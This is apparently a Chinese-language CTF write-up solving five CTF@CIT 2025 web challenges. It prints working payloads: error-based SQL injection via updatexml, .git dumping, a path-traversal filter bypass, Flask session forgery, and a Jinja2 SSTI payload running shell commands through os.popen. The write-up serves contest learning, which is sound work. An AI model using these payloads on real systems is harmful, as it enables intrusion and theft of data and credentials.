# CTF@CIT 2025
<h1><a href="https://hackmd.io/@gkEJMBo7Q96AKBisws_2bg/CTF_CIT_2025_Eng" target="_blank">English Version</a></h1>
## 一切的開始
同事覺得這個週末太無聊,看了一下[CTFtime](https://ctftime.org/)剛好有一場[CTF@CIT](https://ctftime.org/ctf/1109/),權重24.57也不會太高,剛好適合我們這種想被CTF玩(~~虐~~)一下的社畜... :fearful:
因為我們對Web比較有研究,所以只會講解Web的題目。
## 開打
### Web 1 - Breaking Authentication
> 難度:簡單
- 題目一開始就一個登入頁面,第一感就是嘗試SQL injection,打一個單引號,就可以發現是error-based的sql injection。


- 嘗試構造error讓伺服器把我們要查詢的內容吐在error log裡,可以利用updatexml格式錯誤,讓table_name顯示在錯誤訊息裡。
```script
admin'+and+(select+updatexml(1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+',')+FROM+information_schema.tables+WHERE+table_schema+!='mysql'+AND+table_schema+!=+'information_schema'),1))+--+
```

- 自己手動查太慢了,我懶惰了直接請出sql injection大神─sqlmap的sql-shell代勞。紅框框就是flag,藍框框可以留意一下,後面的題目會用到。

### Web 2 - Commit & Order: Version Control Unit
> 難度:簡單
- 題目名稱的提示給的蠻明顯的,直接目錄爆破就找到 `.git`
```script
[04:18:26] 301 - 320B - /.git -> http://23.179.17.40:58002/.git/
[04:18:26] 403 - 280B - /.git/branches/
[04:18:26] 200 - 27B - /.git/COMMIT_EDITMSG
[04:18:26] 403 - 280B - /.git/
[04:18:26] 200 - 155B - /.git/config
[04:18:26] 200 - 23B - /.git/HEAD
[04:18:26] 403 - 280B - /.git/hooks/
[04:18:26] 403 - 280B - /.git/info/
[04:18:26] 200 - 73B - /.git/description
[04:18:26] 200 - 240B - /.git/info/exclude
[04:18:26] 403 - 280B - /.git/logs/
[04:18:26] 200 - 1016B - /.git/logs/HEAD
```
- 上工具 [git-dumper](https://github.com/arthaud/git-dumper) !!!
```bash
> python git_dumper.py http://23.179.17.40:58002/ web-2
> cd web-2
> git log | grep commit
commit 7c8c6a8e434cb23aa9c9dac0ce715e928016849a
commit 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36
commit 68f8fcdbebcca3c8fda1e91fcb842992d09a41d4
commit 247b12483ba3a6a8d177fdd9d74416a01eb61512
commit ca9517713391aca6f5073758effa47c33d3be6b4
commit 0e775315a623ed96d9b0b53e6ffb69dd06b93902
```
- 在 `9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36` 的commit找到Flag,不過是Base64編碼過,稍稍找一下
```
> git show 9b8bf13600c17ba7cbbc9ac7dcffaebd36b16b36
- <div class="main-content">
- <div class="warning-banner">
- <svg width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
- <path d="M1 21h22L12 2 1 21zm12-3h-2v2h2v-2zm0-8h-2v6h2v-6z" />
- </svg>
- This admin panel is under construction. No actual functionality is available yet. But here, have this: Q0lUezVkODFmNzc0M2Y0YmMyYWJ9
- </div>
```
- 直接用 `base64 -d` 或丟到 [CyberChef](https://gchq.github.io/CyberChef/)都是不錯的方式,成功拿到`CIT{5d81f7743f4bc2ab} `!!!
```
> echo "Q0lUezVkODFmNzc0M2Y0YmMyYWJ9" | base64 -d
CIT{5d81f7743f4bc2ab}
```
### Web 3 - Keeping Up with the Credentials
> 難度:簡單?中等?
- 題目又是從一個登入頁開始,題目說明有說登入資訊在前面的題目中,就是第一題藍色框框的admin的帳號密碼

- 輸入帳號密碼後,會跳轉到debug.php

- 而debug.php什麼東西都沒有,目錄爆破發現還有一個頁面叫 `admin.php`,但是直接query `admin.php` 都會直接跳轉回一開始的登入頁面,想說是不是要內網才看的到,但不管把封包的HOST或是Referer改成`127.0.0.1`,或是加入X-Forwarded-for都沒有用,相信很多人到這邊就卡住了。

- 然後神奇的一步來了,大家是不是忘記除了GET,還有一個方法叫做POST,將登入封包的request method改成 `POST` ,BINGO!!!!成功跳到 `admin.php`。


- 手法難嗎??一點都不會,有手就行,Burp suite可以讓你動動滑鼠就幫你從 `GET` 轉成 `POST`
- 但簡單嗎? 比較看看他跟其他題的答對人數~~ 有時候大家都會忽略了最簡單的路,開始鑽牛角尖,但題目其實沒這麼難。

### Web 4 - How I Parsed your JSON
> 難度:中等
- 題目讓你可以使用類似SQL語法的方式查詢json檔,輸入*可以吐出整個檔案的內容,題目有提示FLAG在`secrets.txt`,很明顯題目是要我們用任意讀檔的方式去讀到`secrets.txt`。

將container改成 `/etc/passwd`,果然可以成功讀檔,但題目會將../以及附檔名都replace成空字串,所以沒辦法使用 `../secrets.txt` 讀到flag

- 繞過方法很簡單,由於 `../` 會被刪掉,使用 `....//` 就可以繞過這個保護(應該不用解釋吧),副檔名會被刪掉,使用兩個附檔名就可以繞過,最後的payload是 `container=....//secrets.txt.json`

### Web 5 - Mr. Chatbot
> 難度:中等
- 一開始只有一個輸入username的網頁,隨便輸入都可以登入

- 登入後,會有一個跟機器人的對話框,但看一下網頁源始碼可以發現對話框實際上是用 `javascript` 進行互動,所以判斷這個對話框不是重點,本來還以為有機會是 SSTI(Server Side Template Injection) 的問題。

- 回到登入口檢查封包,每次都會Set-Cookie,看到 `ey` 開頭就下意識會拿去 Base64解碼看一下

```
> echo -n "eyJhZG1pbiI6IjAiLCJuYW1lIjoidGVzdCJ9.aA3tbQ.l4y9ffBh-RKddWkqm0E-44dWI6k" | base64 -d
{"admin":"0","name":"test"}base64: invalid input
```
- 喔!! 看到 `"admin":"0"`,就會想在登入時,`name=test` 後面嘗試加上 `&admin=1`,果然得到明顯不一樣格式的session。

- 可惜不是Base64編碼的格式,從網站的response發現網站是使用python撰寫的,稍微Google就可以發現可以使用[Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)工具對這串Session進行解碼,但進到 `/home` 頁面一樣沒什麼不一樣...,
```
> flask-unsign --decode --cookie ".eJw9jLEOgjAURf-lswsGYnS1toA2DJJK2ZA2ULEsQtAa_93bQbd3cs87b9JoZ0eyIxFZkbFxBudkHhNothqgufSaZy7zIimiZ1xc6tbQbl2l_SAYmLLAcZlG9yrtEnXetobLHnsfduVl83NFKbEdPNjWAzzK7BFNwfPQeJ3g1JTp69_NFrgOvzPaS7FXN-GHDfl8ATHePFw.aA3u3w.7gq-cGaAKbE8P4b3YhsA088iKLo"
{'admin': '1', 'name': 'test', 'uid': 'dGVzdGImIzM5O1x4OWZceDg2XHhkMFx4ODFceDg4TH1lXHg5YS9ceGVhXHhhMFx4YzVaXHhkMFx4MTVceGEzXHhiZk9ceDFiK1x4MGJceDgyLFx4ZDFdbFx4MTVceGIwXHhmMFxuXHgwOCYjMzk7'}
```
- 於是開始研究後面那串Base64編碼的字串,發現結果最前面的 `test` 不是我輸入的 `username` 嗎?
```
> echo -n "dGVzdGImIzM5O1x4OWZceDg2XHhkMFx4ODFceDg4TH1lXHg5YS9ceGVhXHhhMFx4YzVaXHhkMFx4MTVceGEzXHhiZk9ceDFiK1x4MGJceDgyLFx4ZDFdbFx4MTVceGIwXHhmMFxuXHgwOCYjMzk7" | base64 -d
testb'\x9f\x86\xd0\x81\x88L}e\x9a/\xea\xa0\xc5Z\xd0\x15\xa3\xbfO\x1b+\x0b\x82,\xd1]l\x15\xb0\xf0\n\x08'
```
- 趕緊嘗試前面失敗的SSTI,使用Payload `name={{6*6}}&admin=1` 確定SSTI問題是否存在。
```
> flask-unsign --decode --cookie ".eJwljU0PgiAcxr8Lx9ZFQ7fauiGaG7A1UeOmyJQKL9UkW9-9P-v2_J49Lx_UDc7O6IAitEVz5wzIdJMCvOwAmq3KlpatonpqQ-hV1h6zvNQml7GMPFaEg3-L22Kyal6WthgTfvdYkClk1sCCQqc56z74DeXgeSVPu9DhsCcq2CNjEvhS-3cNeeXkXmXhJ1v-_48j-v4A-F45Dg.aA3y4Q.N5woy7pLCqyU-ZdTAGcZX2t_QGs"
{'admin': '1', 'name': '6*6', 'uid': 'MzZiJiMzOTtceDFjUVx4MGJceGU2U1x4ZDNceDk2XHhiZnwwXHg5Nlx4ODhceGUzXHg5OFx4MWRcblx4OWFNXHgxZUI3XHhiNVx4OTJceDg5XHhiYVxyVFx4ZmU9ZEJceGEwJiMzOTs='}
```
- BINGO!!! 果然得到預期計算的結果 `36` 。
```
> echo -n "MzZiJiMzOTtceDFjUVx4MGJceGU2U1x4ZDNceDk2XHhiZnwwXHg5Nlx4ODhceGUzXHg5OFx4MWRcblx4OWFNXHgxZUI3XHhiNVx4OTJceDg5XHhiYVxyVFx4ZmU9ZEJceGEwJiMzOTs=" | base64 -d
36b'\x1cQ\x0b\xe6S\xd3\x96\xbf|0\x96\x88\xe3\x98\x1d\n\x9aM\x1eB7\xb5\x92\x89\xba\rT\xfe=dB\xa0'
```
- 直接上Payload,我是參考這篇[文章](https://medium.com/@baraiprince0111/unveiling-the-secrets-of-server-side-template-injection-ssti-in-flask-and-jinja2-25c57ab3199f)的Payload。送出 `name={{config.__class__.__init__.__globals__['os'].popen('cat+secrets.txt').read()}}&admin=1` ,就會得到下面的結果。
```
> flask-unsign --decode --cookie ".eJwtjl1rgzAUhv_K8MYWhqjoOga72ZwWIUqtrR9jSBYzE2ui1AwkY_99x7K793k_DufHwK3g0ngyHOPekFhQkGSUX7yzmoYMeJ6bBhSXXN1EN4yfeADz3Rxn88OaxonKjUmwupspuVI1W2pR5ta6UtxutnD0m7dwsyoyhQvvIS0qfTwh3RajX8oJv3ZTcDxnO5Qzlrg1r4uMJ1Glk_zg1dLhMUc6zRWhQcjKPRN1uHi1CIHZBZghYJQnhEbIv-ng5fFUxpAPAvJLAl6lGeQJX_fpyu4Z8s6ORahIoHrwezSsPdhFb3a573wkp7Xjrht0rHqkD7tYLHbq-NAJ__-an43fPwoGbTk.aA30WA.Tuwzi4gNG7mFdKLK98NH0EcLwxI"
{'admin': '1', 'name': "config.__class__.__init__.__globals__['os'].popen('cat secrets.txt').read()", 'uid': 'YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceDFhXHhmZFx4ZmFceDhkXHhhMFx4MTNceGM5MFx4MDB8UXJceDlmXHhkNFx4YzhceGNiXHhmOFx4Y2VceDg0JmFtcDtjXHhjMlx4YzJceGE0XHg5MnpceDg2XHhmMSYjMzQ7Jmx0O15ceGFiJiMzOTs='}
```
- 解碼Base64部分,成功拿到`CIT{18a7fbedb4f3548f}`!!!
```
echo -n "YWRtaW46OWYzSUMzdWo5XnpaCgpDSVR7MThhN2ZiZWRiNGYzNTQ4Zn1iJiMzOTtceDFhXHhmZFx4ZmFceDhkXHhhMFx4MTNceGM5MFx4MDB8UXJceDlmXHhkNFx4YzhceGNiXHhmOFx4Y2VceDg0JmFtcDtjXHhjMlx4YzJceGE0XHg5MnpceDg2XHhmMSYjMzQ7Jmx0O15ceGFiJiMzOTs=" | base64 -d
admin:9f3IC3uj9^zZ
CIT{18a7fbedb4f3548f}b'\x1a\xfd\xfa\x8d\xa0\x13\xc90\x00|Qr\x9f\xd4\xc8\xcb\xf8\xce\x84&c\xc2\xc2\xa4\x92z\x86\xf1"<^\xab'
```
## 結語
這次參加的CIT@CTF,WEB的題目比較沒有那種很刁鑽的技術,也不像O公司的某WA證照需要有通靈體質,是個老少咸宜的活動,版上大大如果有其他推薦的CTF競賽,歡迎推坑 :laughing: :laughing: :laughing:
最後,不免俗附上人權圖
